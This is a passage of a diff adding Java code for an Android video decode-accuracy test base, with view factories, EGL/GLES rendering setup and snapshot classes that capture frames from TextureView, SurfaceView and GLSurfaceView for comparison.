+                } catch (NullPointerException exception) { /* */ }
+                // Set max width/height to current size if can't get codec's max supported
+                // width/height or max is not greater than the current size.
+                mediaFormat.setInteger(MediaFormat.KEY_MAX_WIDTH, videoFormat.getWidth());
+                mediaFormat.setInteger(MediaFormat.KEY_MAX_HEIGHT, videoFormat.getHeight());
+            }
+        }
+
+        /**
+         * The function returns the first track found based on the media type.
+         */
+        private int getFirstTrackIndexByType(String format) {
+            for (int i = 0; i < extractor.getTrackCount(); i++) {
+                MediaFormat trackMediaFormat = extractor.getTrackFormat(i);
+                if (trackMediaFormat.getString(MediaFormat.KEY_MIME).startsWith(format + "/")) {
+                    return i;
+                }
+            }
+            Log.e(TAG, "couldn't get a " + format + " track");
+            return NO_TRACK_INDEX;
+        }
+
+        /**
+         * Stores the result from SimplePlayer.
+         */
+        public static final class PlayerResult {
+
+            public static final int UNSET = -1;
+            private final boolean configureSuccess;
+            private final boolean startSuccess;
+            private final boolean decodeSuccess;
+            private final long totalTime;
+
+            public PlayerResult(
+                    boolean configureSuccess, boolean startSuccess,
+                    boolean decodeSuccess, long totalTime) {
+                this.configureSuccess = configureSuccess;
+                this.startSuccess = startSuccess;
+                this.decodeSuccess = decodeSuccess;
+                this.totalTime = totalTime;
+            }
+
+            public PlayerResult(PlayerResult playerResult) {
+                this(playerResult.configureSuccess, playerResult.startSuccess,
+                        playerResult.decodeSuccess, playerResult.totalTime);
+            }
+
+            public PlayerResult() {
+                // Fake PlayerResult.
+                this(false, false, false, UNSET);
+            }
+
+            public static PlayerResult failToStart() {
+                return new PlayerResult(true, false, false, UNSET);
+            }
+
+            public String getFailureMessage() {
+                if (!configureSuccess) {
+                    return "Failed to configure decoder.";
+                } else if (!startSuccess) {
+                    return "Failed to start decoder.";
+                } else if (!decodeSuccess) {
+                    return "Failed to decode the expected number of frames.";
+                } else {
+                    return "Failed to finish decoding.";
+                }
+            }
+
+            public boolean isConfigureSuccess() {
+                return configureSuccess;
+            }
+
+            public boolean isSuccess() {
+                return configureSuccess && startSuccess && decodeSuccess && getTotalTime() != UNSET;
+            }
+
+            public long getTotalTime() {
+                return totalTime;
+            }
+
+        }
+
+    }
+
+    /* Utility class for collecting common test case functionality. */
+    class TestHelper {
+
+        private final String TAG =  TestHelper.class.getSimpleName();
+
+        private final Context context;
+        private final Handler handler;
+        private final Activity activity;
+
+        public TestHelper(Context context, Activity activity) {
+            this.context = checkNotNull(context);
+            this.handler = new Handler(Looper.getMainLooper());
+            this.activity = activity;
+        }
+
+        public Bitmap generateBitmapFromImageResourceId(int resourceId) {
+            return BitmapFactory.decodeStream(context.getResources().openRawResource(resourceId));
+        }
+
+        public Context getContext() {
+            return context;
+        }
+
+        public void rotateOrientation() {
+            handler.post(new Runnable() {
+                @Override
+                public void run() {
+                    final int orientation = context.getResources().getConfiguration().orientation;
+                    if (orientation == Configuration.ORIENTATION_PORTRAIT) {
+                        activity.setRequestedOrientation(ActivityInfo.SCREEN_ORIENTATION_LANDSCAPE);
+                    } else {
+                        activity.setRequestedOrientation(ActivityInfo.SCREEN_ORIENTATION_PORTRAIT);
+                    }
+                }
+            });
+        }
+
+        public void unsetOrientation() {
+            handler.post(new Runnable() {
+                @Override
+                public void run() {
+                    activity.setRequestedOrientation(ActivityInfo.SCREEN_ORIENTATION_UNSPECIFIED);
+                }
+            });
+        }
+
+        public void generateView(View view) {
+            RelativeLayout relativeLayout =
+                    (RelativeLayout) activity.findViewById(R.id.attach_view);
+            ViewGenerator viewGenerator = new ViewGenerator(relativeLayout, view);
+            handler.post(viewGenerator);
+        }
+
+        public void cleanUpView(View view) {
+            ViewCleaner viewCleaner = new ViewCleaner(view);
+            handler.post(viewCleaner);
+        }
+
+        public Bitmap generateBitmapFromVideoViewSnapshot(VideoViewSnapshot snapshot) {
+            handler.post(snapshot);
+            synchronized (snapshot.getSyncObject()) {
+                try {
+                    snapshot.getSyncObject().wait(snapshot.SNAPSHOT_TIMEOUT_MS + 100);
+                } catch (InterruptedException e) {
+                    e.printStackTrace();
+                    Log.e(TAG, "Unable to finish generateBitmapFromVideoViewSnapshot().");
+                    return null;
+                }
+            }
+            if (!snapshot.isBitmapReady()) {
+                Log.e(TAG, "Time out in generateBitmapFromVideoViewSnapshot().");
+                return null;
+            }
+            return snapshot.getBitmap();
+        }
+
+        private class ViewGenerator implements Runnable {
+
+            private final View view;
+            private final RelativeLayout relativeLayout;
+
+            public ViewGenerator(RelativeLayout relativeLayout, View view) {
+                this.view = checkNotNull(view);
+                this.relativeLayout = checkNotNull(relativeLayout);
+            }
+
+            @Override
+            public void run() {
+                if (view.getParent() != null) {
+                    ((ViewGroup) view.getParent()).removeView(view);
+                }
+                RelativeLayout.LayoutParams params = new RelativeLayout.LayoutParams(
+                        VideoViewFactory.VIEW_WIDTH, VideoViewFactory.VIEW_HEIGHT);
+                view.setLayoutParams(params);
+                relativeLayout.addView(view);
+            }
+
+        }
+
+        private class ViewCleaner implements Runnable {
+
+            private final View view;
+
+            public ViewCleaner(View view) {
+                this.view = checkNotNull(view);
+            }
+
+            @Override
+            public void run() {
+                if (view.getParent() != null) {
+                    ((ViewGroup) view.getParent()).removeView(view);
+                }
+            }
+
+        }
+
+    }
+
+}
+
+/* Factory for manipulating a {@link View}. */
+abstract class VideoViewFactory {
+
+    public static final long VIEW_WAITTIME_MS = TimeUnit.SECONDS.toMillis(1);
+    public static final long DEFAULT_VIEW_AVAILABLE_TIMEOUT_MS = TimeUnit.SECONDS.toMillis(3);
+    public static final int VIEW_WIDTH = 480;
+    public static final int VIEW_HEIGHT = 360;
+
+    public VideoViewFactory() {}
+
+    public abstract void release();
+
+    public abstract String getName();
+
+    public abstract View createView(Context context);
+
+    public void waitForViewIsAvailable() throws Exception {
+        waitForViewIsAvailable(DEFAULT_VIEW_AVAILABLE_TIMEOUT_MS);
+    };
+
+    public abstract void waitForViewIsAvailable(long timeOutMs) throws Exception;
+
+    public abstract Surface getSurface();
+
+    public abstract VideoViewSnapshot getVideoViewSnapshot();
+
+    public boolean hasLooper() {
+        return Looper.myLooper() != null;
+    }
+
+}
+
+/* Factory for building a {@link TextureView}. */
+@TargetApi(16)
+class TextureViewFactory extends VideoViewFactory implements TextureView.SurfaceTextureListener {
+
+    private static final String TAG = TextureViewFactory.class.getSimpleName();
+    private static final String NAME = "TextureView";
+
+    private final Object syncToken = new Object();
+    private TextureView textureView;
+
+    public TextureViewFactory() {}
+
+    @Override
+    public TextureView createView(Context context) {
+        Log.i(TAG, "Creating a " + NAME);
+        textureView = DecodeAccuracyTestBase.checkNotNull(new TextureView(context));
+        textureView.setSurfaceTextureListener(this);
+        return textureView;
+    }
+
+    @Override
+    public void release() {
+        textureView = null;
+    }
+
+    @Override
+    public String getName() {
+        return NAME;
+    }
+
+    @Override
+    public Surface getSurface() {
+        return new Surface(textureView.getSurfaceTexture());
+    }
+
+    @Override
+    public TextureViewSnapshot getVideoViewSnapshot() {
+        return new TextureViewSnapshot(textureView);
+    }
+
+    @Override
+    public void waitForViewIsAvailable(long timeOutMs) throws Exception {
+        final long start = SystemClock.elapsedRealtime();
+        while (SystemClock.elapsedRealtime() - start < timeOutMs && !textureView.isAvailable()) {
+            synchronized (syncToken) {
+                try {
+                    syncToken.wait(VIEW_WAITTIME_MS);
+                } catch (InterruptedException e) {
+                    Log.e(TAG, "Exception occurred when attaching a TextureView to a window.", e);
+                    throw new InterruptedException(e.getMessage());
+                }
+            }
+        }
+        if (!textureView.isAvailable()) {
+            throw new InterruptedException("Taking too long to attach a TextureView to a window.");
+        }
+        Log.i(TAG, NAME + " is available.");
+    }
+
+    @Override
+    public void onSurfaceTextureAvailable(SurfaceTexture surfaceTexture, int width, int height) {
+        synchronized (syncToken) {
+            syncToken.notify();
+        }
+    }
+
+    @Override
+    public void onSurfaceTextureSizeChanged(
+            SurfaceTexture surfaceTexture, int width, int height) {}
+
+    @Override
+    public boolean onSurfaceTextureDestroyed(SurfaceTexture surfaceTexture) {
+        return false;
+    }
+
+    @Override
+    public void onSurfaceTextureUpdated(SurfaceTexture surfaceTexture) {}
+
+}
+
+/**
+ * Factory for building a {@link SurfaceView}
+ */
+@TargetApi(24)
+class SurfaceViewFactory extends VideoViewFactory implements SurfaceHolder.Callback {
+
+    private static final String TAG = SurfaceViewFactory.class.getSimpleName();
+    private static final String NAME = "SurfaceView";
+    private final Object syncToken = new Object();
+
+    private SurfaceView surfaceView;
+    private SurfaceHolder surfaceHolder;
+
+    public SurfaceViewFactory() {}
+
+    @Override
+    public void release() {
+        surfaceView = null;
+        surfaceHolder = null;
+    }
+
+    @Override
+    public String getName() {
+        return NAME;
+    }
+
+    @Override
+    public View createView(Context context) {
+        Log.i(TAG, "Creating a " + NAME);
+        if (!super.hasLooper()) {
+            Looper.prepare();
+        }
+        surfaceView = new SurfaceView(context);
+        surfaceHolder = surfaceView.getHolder();
+        surfaceHolder.addCallback(this);
+        return surfaceView;
+    }
+
+    @Override
+    public void waitForViewIsAvailable(long timeOutMs) throws Exception {
+        final long start = SystemClock.elapsedRealtime();
+        while (SystemClock.elapsedRealtime() - start < timeOutMs && !getSurface().isValid()) {
+            synchronized (syncToken) {
+                try {
+                    syncToken.wait(VIEW_WAITTIME_MS);
+                } catch (InterruptedException e) {
+                    Log.e(TAG, "Exception occurred when attaching a SurfaceView to a window.", e);
+                    throw new InterruptedException(e.getMessage());
+                }
+            }
+        }
+        if (!getSurface().isValid()) {
+            throw new InterruptedException("Taking too long to attach a SurfaceView to a window.");
+        }
+        Log.i(TAG, NAME + " is available.");
+    }
+
+    @Override
+    public Surface getSurface() {
+        return surfaceHolder == null ? null : surfaceHolder.getSurface();
+    }
+
+    @Override
+    public VideoViewSnapshot getVideoViewSnapshot() {
+        return new SurfaceViewSnapshot(surfaceView, VIEW_WIDTH, VIEW_HEIGHT);
+    }
+
+    @Override
+    public void surfaceChanged(SurfaceHolder holder, int format, int width, int height) {}
+
+    @Override
+    public void surfaceCreated(SurfaceHolder holder) {
+        synchronized (syncToken) {
+            syncToken.notify();
+        }
+    }
+
+    @Override
+    public void surfaceDestroyed(SurfaceHolder holder) {}
+
+}
+
+/**
+ * Factory for building EGL and GLES that could render to GLSurfaceView.
+ * {@link GLSurfaceView} {@link EGL10} {@link GLES20}.
+ */
+@TargetApi(16)
+class GLSurfaceViewFactory extends VideoViewFactory {
+
+    private static final String TAG = GLSurfaceViewFactory.class.getSimpleName();
+    private static final String NAME = "GLSurfaceView";
+
+    private final Object surfaceSyncToken = new Object();
+
+    private GLSurfaceViewThread glSurfaceViewThread;
+    private boolean byteBufferIsReady = false;
+
+    public GLSurfaceViewFactory() {}
+
+    @Override
+    public void release() {
+        glSurfaceViewThread.release();
+        glSurfaceViewThread = null;
+    }
+
+    @Override
+    public String getName() {
+        return NAME;
+    }
+
+    @Override
+    public View createView(Context context) {
+        Log.i(TAG, "Creating a " + NAME);
+        // Do all GL rendering in the GL thread.
+        glSurfaceViewThread = new GLSurfaceViewThread();
+        glSurfaceViewThread.start();
+        // No necessary view to display, return null.
+        return null;
+    }
+
+    @Override
+    public void waitForViewIsAvailable(long timeOutMs) throws Exception {
+        final long start = SystemClock.elapsedRealtime();
+        while (SystemClock.elapsedRealtime() - start < timeOutMs
+                && glSurfaceViewThread.getSurface() == null) {
+            synchronized (surfaceSyncToken) {
+                try {
+                    surfaceSyncToken.wait(VIEW_WAITTIME_MS);
+                } catch (InterruptedException e) {
+                    Log.e(TAG, "Exception occurred when waiting for the surface from"
+                            + " GLSurfaceView to become available.", e);
+                    throw new InterruptedException(e.getMessage());
+                }
+            }
+        }
+        if (glSurfaceViewThread.getSurface() == null) {
+            throw new InterruptedException("Taking too long for the surface from"
+                    + " GLSurfaceView to become available.");
+        }
+        Log.i(TAG, NAME + " is available.");
+    }
+
+    @Override
+    public Surface getSurface() {
+        return glSurfaceViewThread.getSurface();
+    }
+
+    @Override
+    public VideoViewSnapshot getVideoViewSnapshot() {
+        return new GLSurfaceViewSnapshot(this, VIEW_WIDTH, VIEW_HEIGHT);
+    }
+
+    public boolean byteBufferIsReady() {
+        return byteBufferIsReady;
+    }
+
+    public ByteBuffer getByteBuffer() {
+        return glSurfaceViewThread.getByteBuffer();
+    }
+
+    /* Does all GL operations. */
+    private class GLSurfaceViewThread extends Thread
+            implements SurfaceTexture.OnFrameAvailableListener {
+
+        private static final int FLOAT_SIZE_BYTES = 4;
+        private static final int TRIANGLE_VERTICES_DATA_STRIDE_BYTES = 5 * FLOAT_SIZE_BYTES;
+        private static final int TRIANGLE_VERTICES_DATA_POS_OFFSET = 0;
+        private static final int TRIANGLE_VERTICES_DATA_UV_OFFSET = 3;
+        private final CountDownLatch mDone = new CountDownLatch(1);
+        private FloatBuffer triangleVertices;
+        private float[] textureTransform = new float[16];
+
+        private float[] triangleVerticesData = {
+            // X, Y, Z, U, V
+            -1f, -1f,  0f,  0f,  1f,
+             1f, -1f,  0f,  1f,  1f,
+            -1f,  1f,  0f,  0f,  0f,
+             1f,  1f,  0f,  1f,  0f,
+        };
+        // Make the top-left corner corresponds to texture coordinate
+        // (0, 0). This complies with the transformation matrix obtained from
+        // SurfaceTexture.getTransformMatrix.
+
+        private static final String VERTEX_SHADER =
+                "attribute vec4 aPosition;\n"
+                + "attribute vec4 aTextureCoord;\n"
+                + "uniform mat4 uTextureTransform;\n"
+                + "varying vec2 vTextureCoord;\n"
+                + "void main() {\n"
+                + "    gl_Position = aPosition;\n"
+                + "    vTextureCoord = (uTextureTransform * aTextureCoord).xy;\n"
+                + "}\n";
+
+        private static final String FRAGMENT_SHADER =
+                "#extension GL_OES_EGL_image_external : require\n"
+                + "precision mediump float;\n"      // highp here doesn't seem to matter
+                + "varying vec2 vTextureCoord;\n"
+                + "uniform samplerExternalOES sTexture;\n"
+                + "void main() {\n"
+                + "    gl_FragColor = texture2D(sTexture, vTextureCoord);\n"
+                + "}\n";
+
+        private int glProgram;
+        private int textureID = -1;
+        private int aPositionHandle;
+        private int aTextureHandle;
+        private int uTextureTransformHandle;
+        private EGLDisplay eglDisplay = null;
+        private EGLContext eglContext = null;
+        private EGLSurface eglSurface = null;
+        private EGL10 egl10;
+        private Surface surface = null;
+        private SurfaceTexture surfaceTexture;
+        private ByteBuffer byteBuffer;
+        private Looper looper;
+
+        public GLSurfaceViewThread() {}
+
+        @Override
+        public void run() {
+            Looper.prepare();
+            looper = Looper.myLooper();
+            triangleVertices = ByteBuffer
+                    .allocateDirect(triangleVerticesData.length * FLOAT_SIZE_BYTES)
+                    .order(ByteOrder.nativeOrder()).asFloatBuffer();
+            triangleVertices.put(triangleVerticesData).position(0);
+
+            eglSetup();
+            makeCurrent();
+            eglSurfaceCreated();
+
+            surfaceTexture = new SurfaceTexture(getTextureId());
+            surfaceTexture.setOnFrameAvailableListener(this);
+            surface = new Surface(surfaceTexture);
+            synchronized (surfaceSyncToken) {
+                surfaceSyncToken.notify();
+            }
+            // Store pixels from surface
+            byteBuffer = ByteBuffer.allocateDirect(VIEW_WIDTH * VIEW_HEIGHT * 4);
+            byteBuffer.order(ByteOrder.LITTLE_ENDIAN);
+            Looper.loop();
+            surface.release();
+            surfaceTexture.release();
+            byteBufferIsReady = false;
+            byteBuffer =  null;
+            egl10.eglMakeCurrent(eglDisplay,
+                EGL10.EGL_NO_SURFACE, EGL10.EGL_NO_SURFACE, EGL10.EGL_NO_CONTEXT);
+            egl10.eglDestroySurface(eglDisplay, eglSurface);
+            egl10.eglDestroyContext(eglDisplay, eglContext);
+            //TODO: uncomment following line after fixing crash in GL driver libGLESv2_adreno.so
+            //TODO: see b/123755902
+            //egl10.eglTerminate(eglDisplay);
+            eglDisplay = EGL10.EGL_NO_DISPLAY;
+            eglContext = EGL10.EGL_NO_CONTEXT;
+            eglSurface = EGL10.EGL_NO_SURFACE;
+            mDone.countDown();
+        }
+
+        @Override
+        public void onFrameAvailable(SurfaceTexture st) {
+            checkGlError("before updateTexImage");
+            surfaceTexture.updateTexImage();
+            st.getTransformMatrix(textureTransform);
+            drawFrame();
+            saveFrame();
+        }
+
+        /* Prepares EGL to use GLES 2.0 context and a surface that supports pbuffer. */
+        public void eglSetup() {
+            egl10 = (EGL10) EGLContext.getEGL();
+            eglDisplay = egl10.eglGetDisplay(EGL10.EGL_DEFAULT_DISPLAY);
+            if (eglDisplay == EGL10.EGL_NO_DISPLAY) {
+                throw new RuntimeException("unable to get egl10 display");
+            }
+            int[] version = new int[2];
+            if (!egl10.eglInitialize(eglDisplay, version)) {
+                eglDisplay = null;
+                throw new RuntimeException("unable to initialize egl10");
+            }
+            // Configure EGL for pbuffer and OpenGL ES 2.0, 24-bit RGB.
+            int[] configAttribs = {
+                EGL10.EGL_RED_SIZE, 8,
+                EGL10.EGL_GREEN_SIZE, 8,
+                EGL10.EGL_BLUE_SIZE, 8,
+                EGL10.EGL_ALPHA_SIZE, 8,
+                EGL10.EGL_RENDERABLE_TYPE, EGL14.EGL_OPENGL_ES2_BIT,
+                EGL10.EGL_SURFACE_TYPE, EGL10.EGL_PBUFFER_BIT,
+                EGL10.EGL_NONE
+            };
+            EGLConfig[] configs = new EGLConfig[1];
+            int[] numConfigs = new int[1];
+            if (!egl10.eglChooseConfig(
+                    eglDisplay, configAttribs, configs, configs.length, numConfigs)) {
+                throw new RuntimeException("unable to find RGB888+recordable ES2 EGL config");
+            }
+            // Configure EGL context for OpenGL ES 2.0.
+            int[] contextAttribs = {
+                EGL14.EGL_CONTEXT_CLIENT_VERSION, 2,
+                EGL10.EGL_NONE
+            };
+            eglContext = egl10.eglCreateContext(
+                    eglDisplay, configs[0], EGL10.EGL_NO_CONTEXT, contextAttribs);
+            checkEglError("eglCreateContext");
+            if (eglContext == null) {
+                throw new RuntimeException("null context");
+            }
+            // Create a pbuffer surface.
+            int[] surfaceAttribs = {
+                EGL10.EGL_WIDTH, VIEW_WIDTH,
+                EGL10.EGL_HEIGHT, VIEW_HEIGHT,
+                EGL10.EGL_NONE
+            };
+            eglSurface = egl10.eglCreatePbufferSurface(eglDisplay, configs[0], surfaceAttribs);
+            checkEglError("eglCreatePbufferSurface");
+            if (eglSurface == null) {
+                throw new RuntimeException("surface was null");
+            }
+        }
+
+        public void release() {
+            looper.quit();
+            try{
+                mDone.await();
+            }
+            catch(InterruptedException e) {
+                Log.e(TAG, "Interrupted waiting in release");
+            }
+        }
+
+        /* Makes our EGL context and surface current. */
+        public void makeCurrent() {
+            if (!egl10.eglMakeCurrent(eglDisplay, eglSurface, eglSurface, eglContext)) {
+                throw new RuntimeException("eglMakeCurrent failed");
+            }
+            checkEglError("eglMakeCurrent");
+        }
+
+        /* Call this after the EGL Surface is created and made current. */
+        public void eglSurfaceCreated() {
+            glProgram = createProgram(VERTEX_SHADER, FRAGMENT_SHADER);
+            if (glProgram == 0) {
+                throw new RuntimeException("failed creating program");
+            }
+            aPositionHandle = GLES20.glGetAttribLocation(glProgram, "aPosition");
+            checkLocation(aPositionHandle, "aPosition");
+            aTextureHandle = GLES20.glGetAttribLocation(glProgram, "aTextureCoord");
+            checkLocation(aTextureHandle, "aTextureCoord");
+            uTextureTransformHandle = GLES20.glGetUniformLocation(glProgram, "uTextureTransform");
+            checkLocation(uTextureTransformHandle, "uTextureTransform");
+
+            int[] textures = new int[1];
+            GLES20.glGenTextures(1, textures, 0);
+            checkGlError("glGenTextures");
+            textureID = textures[0];
+            GLES20.glBindTexture(GLES11Ext.GL_TEXTURE_EXTERNAL_OES, textureID);
+            checkGlError("glBindTexture");
+
+            GLES20.glTexParameterf(GLES11Ext.GL_TEXTURE_EXTERNAL_OES, GLES20.GL_TEXTURE_MIN_FILTER,
+                    GLES20.GL_LINEAR);
+            GLES20.glTexParameterf(GLES11Ext.GL_TEXTURE_EXTERNAL_OES, GLES20.GL_TEXTURE_MAG_FILTER,
+                    GLES20.GL_LINEAR);
+            GLES20.glTexParameteri(GLES11Ext.GL_TEXTURE_EXTERNAL_OES, GLES20.GL_TEXTURE_WRAP_S,
+                    GLES20.GL_CLAMP_TO_EDGE);
+            GLES20.glTexParameteri(GLES11Ext.GL_TEXTURE_EXTERNAL_OES, GLES20.GL_TEXTURE_WRAP_T,
+                    GLES20.GL_CLAMP_TO_EDGE);
+            checkGlError("glTexParameter");
+        }
+
+        public void drawFrame() {
+            GLES20.glUseProgram(glProgram);
+            checkGlError("glUseProgram");
+            GLES20.glActiveTexture(GLES20.GL_TEXTURE0);
+            checkGlError("glActiveTexture");
+            GLES20.glBindTexture(GLES11Ext.GL_TEXTURE_EXTERNAL_OES, textureID);
+            checkGlError("glBindTexture");
+
+            triangleVertices.position(TRIANGLE_VERTICES_DATA_POS_OFFSET);
+            GLES20.glVertexAttribPointer(aPositionHandle, 3, GLES20.GL_FLOAT, false,
+                    TRIANGLE_VERTICES_DATA_STRIDE_BYTES, triangleVertices);
+            checkGlError("glVertexAttribPointer aPositionHandle");
+            GLES20.glEnableVertexAttribArray(aPositionHandle);
+            checkGlError("glEnableVertexAttribArray aPositionHandle");
+
+            triangleVertices.position(TRIANGLE_VERTICES_DATA_UV_OFFSET);
+            GLES20.glVertexAttribPointer(aTextureHandle, 2, GLES20.GL_FLOAT, false,
+                    TRIANGLE_VERTICES_DATA_STRIDE_BYTES, triangleVertices);
+            checkGlError("glVertexAttribPointer aTextureHandle");
+            GLES20.glEnableVertexAttribArray(aTextureHandle);
+            checkGlError("glEnableVertexAttribArray aTextureHandle");
+
+            GLES20.glUniformMatrix4fv(uTextureTransformHandle, 1, false, textureTransform, 0);
+            checkGlError("glUniformMatrix uTextureTransformHandle");
+
+            GLES20.glDrawArrays(GLES20.GL_TRIANGLE_STRIP, 0, 4);
+            checkGlError("glDrawArrays");
+            GLES20.glBindTexture(GLES11Ext.GL_TEXTURE_EXTERNAL_OES, 0);
+        }
+
+        /* Reads the pixels to a ByteBuffer. */
+        public void saveFrame() {
+            byteBufferIsReady = false;
+            byteBuffer.clear();
+            GLES20.glReadPixels(0, 0, VIEW_WIDTH, VIEW_HEIGHT, GLES20.GL_RGBA,
+                    GLES20.GL_UNSIGNED_BYTE, byteBuffer);
+            byteBufferIsReady = true;
+        }
+
+        public int getTextureId() {
+            return textureID;
+        }
+
+        public Surface getSurface() {
+            return surface;
+        }
+
+        public ByteBuffer getByteBuffer() {
+            return byteBuffer;
+        }
+
+        private int loadShader(int shaderType, String source) {
+            int shader = GLES20.glCreateShader(shaderType);
+            checkGlError("glCreateShader type=" + shaderType);
+            GLES20.glShaderSource(shader, source);
+            GLES20.glCompileShader(shader);
+            int[] compiled = new int[1];
+            GLES20.glGetShaderiv(shader, GLES20.GL_COMPILE_STATUS, compiled, 0);
+
+            if (compiled[0] == 0) {
+                Log.e(TAG, "Could not compile shader " + shaderType + ":");
+                Log.e(TAG, " " + GLES20.glGetShaderInfoLog(shader));
+                GLES20.glDeleteShader(shader);
+                shader = 0;
+            }
+            return shader;
+        }
+
+        private int createProgram(String vertexSource, String fragmentSource) {
+            int vertexShader = loadShader(GLES20.GL_VERTEX_SHADER, vertexSource);
+            if (vertexShader == 0) {
+                return 0;
+            }
+            int pixelShader = loadShader(GLES20.GL_FRAGMENT_SHADER, fragmentSource);
+            if (pixelShader == 0) {
+                return 0;
+            }
+            int program = GLES20.glCreateProgram();
+            if (program == 0) {
+                Log.e(TAG, "Could not create program");
+            }
+            GLES20.glAttachShader(program, vertexShader);
+            checkGlError("glAttachShader");
+            GLES20.glAttachShader(program, pixelShader);
+            checkGlError("glAttachShader");
+            GLES20.glLinkProgram(program);
+            int[] linkStatus = new int[1];
+            GLES20.glGetProgramiv(program, GLES20.GL_LINK_STATUS, linkStatus, 0);
+
+            if (linkStatus[0] != GLES20.GL_TRUE) {
+                Log.e(TAG, "Could not link program: ");
+                Log.e(TAG, GLES20.glGetProgramInfoLog(program));
+                GLES20.glDeleteProgram(program);
+                program = 0;
+            }
+            return program;
+        }
+
+        private void checkEglError(String msg) {
+            int error;
+            if ((error = egl10.eglGetError()) != EGL10.EGL_SUCCESS) {
+                throw new RuntimeException(msg + ": EGL error: 0x" + Integer.toHexString(error));
+            }
+        }
+
+        public void checkGlError(String op) {
+            int error;
+            if ((error = GLES20.glGetError()) != GLES20.GL_NO_ERROR) {
+                Log.e(TAG, op + ": glError " + error);
+                throw new RuntimeException(op + ": glError " + error);
+            }
+        }
+
+        public void checkLocation(int location, String label) {
+            if (location < 0) {
+                throw new RuntimeException("Unable to locate '" + label + "' in program");
+            }
+        }
+    }
+
+}
+
+/* Definition of a VideoViewSnapshot and a runnable to get a bitmap from a view. */
+abstract class VideoViewSnapshot implements Runnable {
+
+    public static final long SNAPSHOT_TIMEOUT_MS = TimeUnit.SECONDS.toMillis(30);
+    public static final long SLEEP_TIME_MS = 30;
+    public static final Object SYNC_TOKEN = new Object();
+
+    public abstract Bitmap getBitmap();
+
+    public abstract boolean isBitmapReady();
+
+    public abstract Object getSyncObject();
+
+}
+
+/* Runnable to get a bitmap from a texture view on the UI thread via a handler.
+ * This class is to be used together with
+ * {@link TestHelper#generateBitmapFromVideoViewSnapshot(VideoViewSnapshot)}
+ */
+class TextureViewSnapshot extends VideoViewSnapshot {
+
+    private final TextureView tv;
+    private Bitmap bitmap = null;
+
+    public TextureViewSnapshot(TextureView tv) {
+        this.tv = DecodeAccuracyTestBase.checkNotNull(tv);
+    }
+
+    @Override
+    public void run() {
+        bitmap = null;
+        bitmap = tv.getBitmap();
+        synchronized (SYNC_TOKEN) {
+            SYNC_TOKEN.notify();
+        }
+    }
+
+    @Override
+    public Bitmap getBitmap() {
+        return bitmap;
+    }
+
+    @Override
+    public boolean isBitmapReady() {
+        return bitmap != null;
+    }
+
+    @Override
+    public Object getSyncObject() {
+        return SYNC_TOKEN;
+    }
+
+}
+
+/**
+ * Method to get bitmap of a {@link SurfaceView}.
+ * Note that PixelCopy does not have to be called in a runnable.
+ * This class is to be used together with
+ * {@link TestHelper#generateBitmapFromVideoViewSnapshot(VideoViewSnapshot)}
+ */
+class SurfaceViewSnapshot extends VideoViewSnapshot  {
+
+    private static final String TAG = SurfaceViewSnapshot.class.getSimpleName();
+    private static final int PIXELCOPY_TIMEOUT_MS = 1000;
+    private static final int INITIAL_STATE = -1;
+
+    private final SurfaceView surfaceView;
+    private final int width;
+    private final int height;
+
+    private Bitmap bitmap;
+    private int copyResult;
+
+    public SurfaceViewSnapshot(SurfaceView surfaceView, int width, int height) {
+        this.surfaceView = surfaceView;
+        this.width = width;
+        this.height = height;
+        this.copyResult = INITIAL_STATE;
+        this.bitmap = null;
+    }
+
+    @Override
+    public void run() {
+        final long start = SystemClock.elapsedRealtime();
+        copyResult = INITIAL_STATE;
+        final SynchronousPixelCopy copyHelper = new SynchronousPixelCopy();
+        bitmap = Bitmap.createBitmap(width, height, Config.ARGB_8888);
+        try {
+            // Wait for PixelCopy to finish.
+            while ((copyResult = copyHelper.request(surfaceView, bitmap)) != PixelCopy.SUCCESS
+                    && (SystemClock.elapsedRealtime() - start) < SNAPSHOT_TIMEOUT_MS) {
+                Thread.sleep(SLEEP_TIME_MS);
+            }
+        } catch (InterruptedException e) {
+            Log.e(TAG, "Pixel Copy is stopped/interrupted before it finishes.", e);
+            bitmap = null;
+        } finally {
+            copyHelper.release();
+            synchronized (SYNC_TOKEN) {
+                SYNC_TOKEN.notify();
+            }
+        }
+    }
+
+    @Override
+    public Bitmap getBitmap() {
+        return bitmap;
+    }
+
+    @Override
+    public boolean isBitmapReady() {
+        return bitmap != null && copyResult == PixelCopy.SUCCESS;
+    }
+
+    @Override
+    public Object getSyncObject() {
+        return SYNC_TOKEN;
+    }
+
+    private static class SynchronousPixelCopy implements OnPixelCopyFinishedListener {
+
+        private final Handler handler;
+        private final HandlerThread thread;
+
+        private int status = INITIAL_STATE;
+
+        public SynchronousPixelCopy() {
+            this.thread = new HandlerThread("PixelCopyHelper");
+            thread.start();
+            this.handler = new Handler(thread.getLooper());
+        }
+
+        public void release() {
+            if (thread.isAlive()) {
+                thread.quit();
+            }
+        }
+
+        public int request(SurfaceView source, Bitmap dest) {
+            synchronized (this) {
+                try {
+                    PixelCopy.request(source, dest, this, handler);
+                    return getResultLocked();
+                } catch (Exception e) {
+                    Log.e(TAG, "Exception occurred when copying a SurfaceView.", e);
+                    return -1;
+                }
+            }
+        }
+
+        private int getResultLocked() {
+            try {
+                this.wait(PIXELCOPY_TIMEOUT_MS);
+            } catch (InterruptedException e) { /* PixelCopy request didn't complete within 1s */ }
+            return status;
+        }
+
+        @Override
+        public void onPixelCopyFinished(int copyResult) {
+            synchronized (this) {
+                status = copyResult;
+                this.notify();
+            }
+        }
+
+    }
+
+}
+
+/**
+ * Runnable to get a bitmap from a GLSurfaceView on the UI thread via a handler.
+ * Note, because of how the bitmap is captured in GLSurfaceView,
+ * this method does not have to be a runnable.
+  * This class is to be used together with
+ * {@link TestHelper#generateBitmapFromVideoViewSnapshot(VideoViewSnapshot)}
+ */
+class GLSurfaceViewSnapshot extends VideoViewSnapshot {
+
+    private static final String TAG = GLSurfaceViewSnapshot.class.getSimpleName();
+
+    private final GLSurfaceViewFactory glSurfaceViewFactory;
+    private final int width;
+    private final int height;
+
+    private Bitmap bitmap = null;
+    private boolean bitmapIsReady = false;
+
+    public GLSurfaceViewSnapshot(GLSurfaceViewFactory glSurfaceViewFactory, int width, int height) {
+        this.glSurfaceViewFactory = DecodeAccuracyTestBase.checkNotNull(glSurfaceViewFactory);
+        this.width = width;
+        this.height = height;
+    }
+
+    @Override
+    public void run() {
+        bitmapIsReady = false;
+        bitmap = null;
+        try {
+            waitForByteBuffer();
+        } catch (InterruptedException exception) {
+            Log.e(TAG, exception.getMessage());
+            bitmap = null;
+            notifyObject();
+            return;
+        }
+        try {
